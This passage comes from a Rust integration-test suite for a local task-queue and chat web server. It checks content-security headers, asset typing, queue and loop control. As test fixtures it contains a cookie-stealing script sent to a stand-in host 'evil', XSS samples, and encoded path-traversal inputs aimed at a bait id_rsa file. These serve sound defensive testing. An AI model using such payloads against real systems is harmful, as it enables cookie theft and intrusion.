3210 - `Config::discover` is called exactly once per run.\n\
3211 - `cargo test` passes with no change to any existing assertion.\n"
3212 .to_owned()
3213 }
3214
3215 #[tokio::test]
3216 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3217 let fx = Fixture::start().await;
3218 let id = panel(
3219 &fx,
3220 "<h1>Merge?</h1><img src=\"diff.svg\">",
3221 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3222 );
3223
3224 for path in [
3225 format!("/api/questions/{id}/panel"),
3226 format!("/api/questions/{id}/asset/diff.svg"),
3227 ] {
3228 let res = fx.get(&path).await;
3229 assert_eq!(res.status, 200, "{path}: {}", res.body);
3230 assert_eq!(
3236 res.header("content-security-policy"),
3237 Some(
3238 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3239 font-src data:; base-uri 'none'; form-action 'none'; \
3240 frame-ancestors 'self'"
3241 ),
3242 "{path} is the only thing between a hostile panel and the tailnet"
3243 );
3244 assert_eq!(
3245 res.header("x-content-type-options"),
3246 Some("nosniff"),
3247 "{path}: a browser must not re-decide the type we sent"
3248 );
3249 assert_eq!(
3250 res.header("referrer-policy"),
3251 Some("no-referrer"),
3252 "{path}: a panel must not leak the question id off the machine"
3253 );
3254
3255 let pre = fx.head(&path).await;
3260 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3261 assert_eq!(
3262 pre.header("content-security-policy"),
3263 res.header("content-security-policy"),
3264 "{path}: the preflight carries the same policy"
3265 );
3266 assert_eq!(
3267 pre.header("content-type"),
3268 res.header("content-type"),
3269 "{path}: the preflight carries the same type"
3270 );
3271 }
3272 }
3273
3274 #[tokio::test]
3275 async fn a_panel_reaches_the_browser_byte_for_byte() {
3276 let fx = Fixture::start().await;
3277 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3282 let id = panel(&fx, html, &[]);
3283
3284 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3285
3286 assert_eq!(res.status, 200);
3287 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3288 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3289 assert_eq!(
3290 res.header("content-disposition"),
3291 None,
3292 "the panel itself is rendered in the frame, not downloaded"
3293 );
3294 }
3295
3296 #[tokio::test]
3297 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3298 let fx = Fixture::start().await;
3299 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3300 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3301 let id = panel(
3302 &fx,
3303 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3304 &[("diff.svg", svg), ("shot.png", png)],
3305 );
3306
3307 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3308 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3309
3310 assert_eq!(as_svg.status, 200);
3311 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3312 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3317
3318 assert_eq!(as_png.status, 200);
3319 assert_eq!(as_png.header("content-type"), Some("image/png"));
3320 assert_eq!(
3321 as_png.header("content-disposition"),
3322 None,
3323 "a raster image has no execution surface, so tapping it still shows it"
3324 );
3325 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3326 }
3327
3328 #[tokio::test]
3329 async fn an_html_asset_is_never_served_as_html() {
3330 let fx = Fixture::start().await;
3331 let id = panel(
3332 &fx,
3333 "<p>see the notes</p>",
3334 &[
3335 (
3336 "notes.html",
3337 b"<script>fetch('http://evil/'+document.cookie)</script>",
3338 ),
3339 ("hook.js", b"fetch('http://evil/')"),
3340 ("data.json", b"{}"),
3341 ("HEADLINE.TXT", b"plain"),
3342 ],
3343 );
3344
3345 for name in ["notes.html", "hook.js", "data.json"] {
3346 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3347 assert_eq!(res.status, 200, "{name}: {}", res.body);
3348 assert_eq!(
3353 res.header("content-type"),
3354 Some("application/octet-stream"),
3355 "{name} must not be a type the browser will execute or render"
3356 );
3357 }
3358 let txt = fx
3361 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3362 .await;
3363 assert_eq!(
3364 txt.header("content-type"),
3365 Some("text/plain; charset=utf-8")
3366 );
3367 }
3368
3369 #[tokio::test]
3370 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3371 let fx = Fixture::start().await;
3372 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3373 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3377
3378 for encoded in [
3385 "%2e%2e%2fid_rsa",
3386 "..%2fid_rsa",
3387 "..%5cid_rsa",
3388 "%2e%2e%5cid_rsa",
3389 "diff%00.svg",
3390 "..",
3391 ".hidden",
3392 "%2e%2e%2f%2e%2e%2fid_rsa",
3393 ] {
3394 let res = fx
3395 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3396 .await;
3397 assert_eq!(
3398 res.status, 400,
3399 "`{encoded}` has to be refused by name, not looked up: {}",
3400 res.body
3401 );
3402 assert!(res.json()["error"].is_string(), "{}", res.body);
3403 }
3404
3405 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3411 let res = fx
3412 .get(&format!("/api/questions/{id}/asset/{literal}"))
3413 .await;
3414 assert_eq!(
3415 res.status, 404,
3416 "`{literal}` must not match the asset route at all: {}",
3417 res.body
3418 );
3419 }
3420 }
3421
3422 #[tokio::test]
3423 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3424 let fx = Fixture::start().await;
3425 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3426 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3427
3428 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3432 assert_eq!(none.status, 404, "{}", none.body);
3433 assert!(none.json()["error"].is_string(), "{}", none.body);
3434 assert_eq!(
3435 fx.head(&format!("/api/questions/{plain}/panel"))
3436 .await
3437 .status,
3438 404,
3439 "the preflight is the only way the client can learn this"
3440 );
3441
3442 let missing = fx
3444 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3445 .await;
3446 assert_eq!(missing.status, 404, "{}", missing.body);
3447 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3448
3449 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3451 assert_eq!(
3452 fx.get("/api/questions/nope/asset/diff.svg").await.status,
3453 404
3454 );
3455 }
3456
3457 #[tokio::test]
3458 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3459 let fx = Fixture::start().await;
3460 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3461
3462 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3463 interview(&fx, "20260903-014456-open", "open", None);
3464
3465 let listed = fx.get("/api/chats").await;
3466 assert_eq!(listed.status, 200, "{}", listed.body);
3467 let chats = listed.json();
3468 assert_eq!(chats.as_array().map(Vec::len), Some(2));
3469 assert_eq!(
3470 chats[0]["id"], "20260903-014456-open",
3471 "an unfinished interview is what the operator came back for: {chats}"
3472 );
3473 assert_eq!(chats[0]["status"], "open");
3474 assert_eq!(chats[0]["turns"][0]["who"], "operator");
3477 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3478 assert_eq!(chats[1]["status"], "filed");
3479
3480 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3483 }
3484
3485 #[tokio::test]
3486 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3487 let fx = Fixture::start().await;
3488 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3489
3490 let full = fx.get(&format!("/api/chats/{id}")).await;
3491 assert_eq!(full.status, 200, "{}", full.body);
3492 assert_eq!(full.json()["id"], id);
3493 assert_eq!(full.json()["repo"], "/repo/magi");
3494
3495 let short = fx.get("/api/chats/ab12").await;
3497 assert_eq!(short.status, 200, "{}", short.body);
3498 assert_eq!(short.json()["id"], id);
3499
3500 let missing = fx.get("/api/chats/nosuchchat").await;
3501 assert_eq!(missing.status, 404, "{}", missing.body);
3502 assert!(
3503 missing.json()["error"]
3504 .as_str()
3505 .is_some_and(|e| e.contains("chat")),
3506 "the error names what was not found: {}",
3507 missing.body
3508 );
3509 }
3510
3511 #[tokio::test]
3512 async fn filing_a_bad_draft_reports_every_problem_at_once() {
3513 let fx = Fixture::start().await;
3514 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3515
3516 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3517
3518 assert_eq!(res.status, 400, "{}", res.body);
3519 let problems = res.json()["problems"].clone();
3520 let problems = problems.as_array().expect("an array of problems");
3521 assert!(
3526 problems.len() > 1,
3527 "one round trip has to be enough to fix the draft: {}",
3528 res.body
3529 );
3530 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3531 assert!(res.json()["error"].is_string(), "{}", res.body);
3532 assert!(
3533 fx.queue().list().is_empty(),
3534 "a refused draft must not reach the queue"
3535 );
3536
3537 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3540 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3541 assert_eq!(res.status, 400, "{}", res.body);
3542 assert_eq!(
3543 res.json()["problems"].as_array().map(Vec::len),
3544 Some(1),
3545 "{}",
3546 res.body
3547 );
3548 }
3549
3550 #[tokio::test]
3551 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3552 let fx = Fixture::start().await;
3553 let draft = good_draft();
3554 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3555
3556 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3557
3558 assert_eq!(res.status, 200, "{}", res.body);
3559 let task = res.json()["task"]
3560 .as_str()
3561 .unwrap_or_else(|| panic!("a task id: {}", res.body))
3562 .to_owned();
3563
3564 let queued = fx.queue().get(&task).expect("the task is on disk");
3567 assert_eq!(
3568 queued.instruction, draft,
3569 "the draft reaches the graph verbatim"
3570 );
3571 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3572 assert_eq!(
3573 fx.get("/api/queue").await.json()[0]["id"],
3574 task,
3575 "the filed task is the listed one"
3576 );
3577
3578 let after = fx.get(&format!("/api/chats/{id}")).await.json();
3580 assert_eq!(after["task"], task);
3581 assert_eq!(after["status"], "filed");
3582 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3583 }
3584
3585 #[tokio::test]
3586 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3587 let fx = Fixture::start().await;
3588 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3589 let ui = Ui::new(
3590 fx.queue(),
3591 fx.questions(),
3592 fx.chats(),
3593 fx.runs(),
3594 fx.home.path().to_path_buf(),
3595 PathBuf::from("/repo/magi"),
3596 );
3597
3598 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3602 let second = ui.begin_turn(&id).expect_err("the second must be refused");
3603 assert_eq!(
3604 second.status,
3605 StatusCode::CONFLICT,
3606 "a double tap on a slow link must not append two half-turns"
3607 );
3608
3609 drop(first);
3613 assert!(
3614 ui.begin_turn(&id).is_ok(),
3615 "the slot has to come back on its own"
3616 );
3617 }
3618
3619 #[tokio::test]
3620 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3621 let fx = Fixture::start().await;
3622 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3623
3624 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
3627 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3628 assert_eq!(res.status, 400, "{body}: {}", res.body);
3629 }
3630 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
3631 assert_eq!(res.status, 400, "{}", res.body);
3632
3633 assert_eq!(
3634 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3635 .as_array()
3636 .map(Vec::len),
3637 Some(2),
3638 "nothing above may have appended a turn"
3639 );
3640 }
3641
3642 #[tokio::test]
3643 async fn a_run_with_an_open_question_reads_as_waiting() {
3644 let fx = Fixture::start().await;
3645 let run = "20260902-000000-beef".to_owned();
3646 write_run(&fx.runs(), &run, RunStatus::Implementing);
3647
3648 let before = fx.get("/api/runs").await.json();
3649 assert_eq!(before[0]["waiting"], false, "{before}");
3650
3651 let store = fx.questions();
3652 let mut q = Question::new(
3653 run.clone(),
3654 "implement".to_owned(),
3655 "impl-A".to_owned(),
3656 "Which backend?".to_owned(),
3657 String::new(),
3658 vec!["SQLite".to_owned()],
3659 );
3660 store.put(&mut q).expect("put");
3661
3662 let during = fx.get("/api/runs").await.json();
3663 assert_eq!(during[0]["waiting"], true, "{during}");
3664
3665 q.answer(Answer::Choice("SQLite".to_owned()))
3668 .expect("answer");
3669 store.put(&mut q).expect("put");
3670 let after = fx.get("/api/runs").await.json();
3671 assert_eq!(after[0]["waiting"], false, "{after}");
3672 }
3673
3674 #[tokio::test]
3675 async fn an_open_question_is_listed_and_counted_by_health() {
3676 let fx = Fixture::start().await;
3677 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3678
3679 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3680 let listed = fx.get("/api/questions").await.json();
3681 assert_eq!(listed.as_array().expect("array").len(), 1);
3682 assert_eq!(listed[0]["id"], id);
3683 assert_eq!(listed[0]["status"], "open");
3684 assert_eq!(listed[0]["choices"][1], "Redis");
3685 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3688 }
3689
3690 #[tokio::test]
3691 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3692 let fx = Fixture::start().await;
3693 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3694 let path = format!("/api/questions/{id}/answer");
3695
3696 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3697 assert_eq!(res.status, 200, "{}", res.body);
3698 let body = res.json();
3699 assert_eq!(body["status"], "answered");
3700 assert_eq!(body["answer"]["choice"], "Redis");
3701
3702 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3706 assert_eq!(again.status, 409, "{}", again.body);
3707 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3708 }
3709
3710 #[tokio::test]
3711 async fn an_answer_the_question_does_not_offer_is_refused() {
3712 let fx = Fixture::start().await;
3713 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3714 let path = format!("/api/questions/{id}/answer");
3715
3716 for body in [
3717 r#"{"choice":"Postgres"}"#,
3718 r#"{"text":"whatever you think"}"#,
3719 r#"{"choice":"Redis","text":"both"}"#,
3720 r#"{}"#,
3721 ] {
3722 let res = fx.post(&path, Some(body)).await;
3723 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3724 assert!(res.json()["error"].is_string(), "{}", res.body);
3725 }
3726 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3728 }
3729
3730 #[tokio::test]
3731 async fn a_free_text_question_takes_text_and_not_a_choice() {
3732 let fx = Fixture::start().await;
3733 let id = ask(&fx, "What should the flag be called?", &[]);
3734 let path = format!("/api/questions/{id}/answer");
3735
3736 assert_eq!(
3737 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3738 400
3739 );
3740 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3741 assert_eq!(res.status, 200, "{}", res.body);
3742 assert_eq!(res.json()["answer"]["text"], "--json");
3743 }
3744
3745 #[tokio::test]
3746 async fn an_unknown_question_is_a_json_404() {
3747 let fx = Fixture::start().await;
3748 let res = fx
3749 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3750 .await;
3751 assert_eq!(res.status, 404, "{}", res.body);
3752 assert!(res.json()["error"].is_string());
3753 }
3754
3755 #[tokio::test]
3756 async fn a_blank_instruction_is_rejected_and_files_nothing() {
3757 let f = Fixture::start().await;
3758
3759 let res = f
3760 .post("/api/queue", Some(r#"{"instruction":" \n "}"#))
3761 .await;
3762
3763 assert_eq!(res.status, 400);
3764 assert!(
3765 res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3766 "a rejection has to say why: {}",
3767 res.body
3768 );
3769 assert!(
3770 f.queue().list().is_empty(),
3771 "a rejected task must not reach the disk"
3772 );
3773 }
3774
3775 #[tokio::test]
3776 async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3777 let f = Fixture::start().await;
3778
3779 let res = f.post("/api/queue", Some("{not json")).await;
3780
3781 assert_eq!(res.status, 400);
3784 }
3785
3786 #[tokio::test]
3787 async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3788 let f = Fixture::start().await;
3789
3790 let created = f
3791 .post(
3792 "/api/queue",
3793 Some(
3794 r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3795 ),
3796 )
3797 .await;
3798 assert_eq!(created.status, 201);
3799
3800 let listed = f.get("/api/queue").await;
3801 let tasks = listed.json();
3802 let task = &tasks[0];
3803
3804 assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3805 assert_eq!(task["title"], "Rework the config loader");
3808 assert_eq!(task["source_label"], "human");
3809 assert_eq!(task["status_str"], "queued");
3810 assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3811 assert_eq!(
3812 task["id"],
3813 created.json()["id"],
3814 "the posted task is the listed one"
3815 );
3816 assert!(
3817 task["instruction"]
3818 .as_str()
3819 .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3820 "the instruction reaches the graph verbatim, markers and all: {}",
3821 task["instruction"]
3822 );
3823 }
3824
3825 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3827 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3828 .expect("checkout dir");
3829 }
3830
3831 #[tokio::test]
3832 async fn repos_list_returns_name_and_path_for_every_configured_root() {
3833 let tmp = TempDir::new().expect("tempdir");
3834 let repo = tmp.path().join("repo");
3835 std::fs::create_dir_all(&repo).expect("repo dir");
3836 let root = tmp.path().join("root");
3837 make_checkout(&root, "github.com", "yukimemi", "magi");
3838 std::fs::write(
3839 repo.join("magi.toml"),
3840 format!(
3841 "[repos]\nroots = [{:?}]\n",
3842 root.to_string_lossy().into_owned()
3843 ),
3844 )
3845 .expect("write magi.toml");
3846
3847 let f = Fixture::with_repo(repo).await;
3848 let res = f.get("/api/repos").await;
3849 assert_eq!(res.status, 200, "{}", res.body);
3850 let list = res.json();
3851 let repos = list.as_array().expect("an array");
3852 assert_eq!(repos.len(), 1);
3853 assert_eq!(repos[0]["name"], "yukimemi/magi");
3854 assert!(
3855 repos[0]["path"]
3856 .as_str()
3857 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3858 "{list}"
3859 );
3860 }
3861
3862 #[tokio::test]
3863 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3864 let tmp = TempDir::new().expect("tempdir");
3865 let repo = tmp.path().join("repo");
3866 std::fs::create_dir_all(&repo).expect("repo dir");
3867 let root = tmp.path().join("root");
3868 make_checkout(&root, "github.com", "yukimemi", "magi");
3869 std::fs::write(
3870 repo.join("magi.toml"),
3871 format!(
3872 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3873 root.to_string_lossy().into_owned()
3874 ),
3875 )
3876 .expect("write magi.toml");
3877
3878 let f = Fixture::with_repo(repo).await;
3879 let first = f.get("/api/repos").await;
3880 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3881
3882 make_checkout(&root, "github.com", "yukimemi", "rvpm");
3885 let second = f.get("/api/repos").await;
3886 assert_eq!(
3887 second.json().as_array().map(Vec::len),
3888 Some(1),
3889 "a fresh cache must not rescan inside the TTL"
3890 );
3891
3892 let refreshed = f.get("/api/repos?refresh=1").await;
3893 assert_eq!(
3894 refreshed.json().as_array().map(Vec::len),
3895 Some(2),
3896 "an explicit refresh must rescan even inside the TTL"
3897 );
3898 }
3899
3900 #[tokio::test]
3901 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3902 let f = Fixture::start().await;
3903 let res = f
3904 .post(
3905 "/api/chats",
3906 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3907 )
3908 .await;
3909 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3910 assert!(
3911 res.json()["error"]
3912 .as_str()
3913 .is_some_and(|e| e.contains("nosuchchat")),
3914 "the error names the id that does not exist: {}",
3915 res.body
3916 );
3917 assert!(
3918 f.chats().list().is_empty(),
3919 "a chat must not be created against an unresolvable `from`"
3920 );
3921 }
3922
3923 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
3940
3941 #[tokio::test]
3942 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
3943 let tmp = TempDir::new().expect("tempdir");
3944 let repo = tmp.path().join("repo");
3945 let other = tmp.path().join("other");
3946 std::fs::create_dir_all(&repo).expect("repo dir");
3947 std::fs::create_dir_all(&other).expect("other repo dir");
3948 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3952 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3953
3954 let f = Fixture::with_repo(repo.clone()).await;
3955
3956 let default_res = f
3957 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
3958 .await;
3959 assert_eq!(default_res.status, 201, "{}", default_res.body);
3960 assert_eq!(
3961 default_res.json()["repo"],
3962 repo.canonicalize().unwrap().display().to_string(),
3963 "omitting `repo` must keep the server's own"
3964 );
3965
3966 let body = format!(
3967 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
3968 other.to_string_lossy()
3969 );
3970 let explicit_res = f.post("/api/chats", Some(&body)).await;
3971 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
3972 assert_eq!(
3973 explicit_res.json()["repo"],
3974 other.canonicalize().unwrap().display().to_string(),
3975 "an explicit `repo` must override the server's own"
3976 );
3977 }
3978
3979 #[tokio::test]
3980 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
3981 let f = Fixture::start().await;
3982 let queue = f.queue();
3983 let mut task = Task::new(
3984 "spent".to_owned(),
3985 "Try again".to_owned(),
3986 PathBuf::from("/repo/magi"),
3987 Source::Human,
3988 );
3989 task.start("20260902-140502-bbbb".to_owned());
3990 task.fail("agent gave up", 9);
3991 queue.put(&mut task).expect("file the task");
3992
3993 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3994 assert_eq!(held.status, 200);
3995 assert_eq!(held.json()["status_str"], "held");
3996
3997 let released = f
3998 .post(&format!("/api/queue/{}/release", task.id), None)
3999 .await;
4000 assert_eq!(released.status, 200);
4001 assert_eq!(released.json()["status_str"], "queued");
4002 assert_eq!(
4003 released.json()["attempts"],
4004 0,
4005 "release is a real second chance, not an instant re-hold"
4006 );
4007 assert_eq!(
4008 queue.get(&task.id).expect("reload").status,
4009 TaskStatus::Queued,
4010 "the change is on disk, not only in the reply"
4011 );
4012 assert!(
4013 !f.home
4014 .path()
4015 .join("queue")
4016 .join(format!("{}.lock", task.id))
4017 .exists(),
4018 "the claim the mutation took is released again"
4019 );
4020 }
4021
4022 #[tokio::test]
4023 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4024 let f = Fixture::start().await;
4025 let queue = f.queue();
4026 let mut task = Task::new(
4027 "busy".to_owned(),
4028 "Running right now".to_owned(),
4029 PathBuf::from("/repo/magi"),
4030 Source::Human,
4031 );
4032 queue.put(&mut task).expect("file the task");
4033 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4034
4035 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4036
4037 assert_eq!(res.status, 409);
4038 assert_eq!(
4039 queue.get(&task.id).expect("reload").status,
4040 TaskStatus::Queued,
4041 "the refused hold changed nothing"
4042 );
4043 }
4044
4045 #[tokio::test]
4046 async fn unknown_ids_are_json_not_found_on_both_stores() {
4047 let f = Fixture::start().await;
4048
4049 let run = f.get("/api/runs/nosuchrun").await;
4050 let task = f.post("/api/queue/nosuchtask/hold", None).await;
4051
4052 assert_eq!(run.status, 404);
4053 assert_eq!(task.status, 404);
4054 assert!(
4055 run.json()["error"]
4056 .as_str()
4057 .is_some_and(|e| e.contains("run")),
4058 "the error names what was not found: {}",
4059 run.body
4060 );
4061 assert!(
4062 task.json()["error"]
4063 .as_str()
4064 .is_some_and(|e| e.contains("task")),
4065 "the error names what was not found: {}",
4066 task.body
4067 );
4068 }
4069
4070 #[tokio::test]
4071 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4072 let f = Fixture::start().await;
4073
4074 let missing = f.get("/api/health").await.json();
4075 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4076
4077 write_daemon(
4078 f.home.path(),
4079 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4080 );
4081 let stale = f.get("/api/health").await.json();
4082 assert_eq!(
4083 stale["daemon"]["running"], false,
4084 "a minute without a heartbeat is a dead daemon, not a busy one"
4085 );
4086 assert!(
4087 stale["daemon"]["stale_for_secs"]
4088 .as_i64()
4089 .is_some_and(|s| s >= 55),
4090 "staleness is reported so the UI can say how long: {stale}"
4091 );
4092
4093 write_daemon(f.home.path(), Timestamp::now());
4094 let fresh = f.get("/api/health").await.json();
4095 assert_eq!(fresh["daemon"]["running"], true);
4096 assert_eq!(fresh["daemon"]["idle"], false);
4097 assert_eq!(fresh["daemon"]["pid"], 4242);
4098 assert_eq!(fresh["daemon"]["completed"], 7);
4099 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4100 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4101 }
4102
4103 #[tokio::test]
4104 async fn the_loop_is_not_running_until_something_starts_it() {
4105 let f = Fixture::start().await;
4106
4107 let view = f.get("/api/loop").await.json();
4108 assert_eq!(view["running"], false);
4109 assert_eq!(
4110 view["owned"], false,
4111 "nobody owns a loop that does not exist: {view}"
4112 );
4113 assert_eq!(view["stopping"], false);
4114 assert_eq!(view["last_error"], Value::Null);
4115 assert_eq!(view["daemon"]["running"], false);
4116 assert_eq!(
4117 view["repo"], "/repo/magi",
4118 "the repository a start would use, named before it is started"
4119 );
4120 }
4121
4122 #[tokio::test]
4123 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4124 let f = Fixture::start().await;
4125
4126 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4127 assert_eq!(res.status, 200, "{}", res.body);
4128 let view = res.json();
4129 assert_eq!(view["running"], true);
4130 assert_eq!(
4131 view["owned"], true,
4132 "the loop the UI started is the UI's own to stop: {view}"
4133 );
4134 assert_eq!(
4135 view["merge"],
4136 Value::Null,
4137 "no override was given, so each repository's own config decides"
4138 );
4139
4140 let health = f.get("/api/health").await.json();
4144 assert_eq!(health["loop"]["running"], true, "{health}");
4145 assert_eq!(health["loop"]["owned"], true, "{health}");
4146
4147 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4148 }
4149
4150 #[tokio::test]
4151 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4152 let f = Fixture::start().await;
4153 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4154 assert_eq!(first.status, 200, "{}", first.body);
4155
4156 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4157 assert_eq!(
4158 again.status, 409,
4159 "two loops on one queue race for the same claims: {}",
4160 again.body
4161 );
4162 assert!(
4163 again.json()["error"]
4164 .as_str()
4165 .is_some_and(|e| e.contains("already running the loop")),
4166 "the refusal has to say why: {}",
4167 again.body
4168 );
4169 assert_eq!(
4170 f.get("/api/loop").await.json()["running"],
4171 true,
4172 "and the loop that was already running is untouched by it"
4173 );
4174
4175 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4176 }
4177
4178 #[tokio::test]
4179 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4180 let f = Fixture::start().await;
4181 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4182
4183 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4184 assert_eq!(
4185 res.status, 200,
4186 "the answer must not wait for the loop: a run in flight is tens of \
4187 minutes and the operator is holding a phone: {}",
4188 res.body
4189 );
4190
4191 let view = settled(&f, |v| v["running"] == false).await;
4192 assert_eq!(view["owned"], false);
4193 assert_eq!(
4194 view["stopping"], false,
4195 "a loop that has stopped is not still stopping: {view}"
4196 );
4197 assert_eq!(
4198 view["last_error"],
4199 Value::Null,
4200 "a loop that was asked to stop did not fail: {view}"
4201 );
4202
4203 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4206 assert_eq!(twice.status, 200, "{}", twice.body);
4207 }
4208
4209 #[tokio::test]
4210 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4211 let f = Fixture::start().await;
4212 write_daemon(f.home.path(), Timestamp::now());
4215
4216 let view = f.get("/api/loop").await.json();
4217 assert_eq!(view["running"], false, "not in this process: {view}");
4218 assert_eq!(view["owned"], false, "and not this process's to control");
4219 assert_eq!(
4220 view["daemon"]["running"], true,
4221 "but a loop is alive somewhere, which is what the UI must say"
4222 );
4223 assert_eq!(view["daemon"]["pid"], 4242);
4224
4225 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4226 let res = f.post("/api/loop", Some(body)).await;
4227 assert_eq!(
